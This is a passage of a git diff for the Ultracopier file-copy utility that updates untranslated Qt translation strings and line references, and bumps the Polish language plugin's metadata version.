+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/pl/flag.png b/plugins/Languages/pl/flag.png
index 55595d6..439ee97 100644
--- a/plugins/Languages/pl/flag.png
+++ b/plugins/Languages/pl/flag.png
Binary files differ
diff --git a/plugins/Languages/pl/informations.xml b/plugins/Languages/pl/informations.xml
index 048e6e0..a9f04be 100644
--- a/plugins/Languages/pl/informations.xml
+++ b/plugins/Languages/pl/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to polish. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to polish. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>pl</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/pl/translation.ts b/plugins/Languages/pl/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/pl/translation.ts
+++ b/plugins/Languages/pl/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
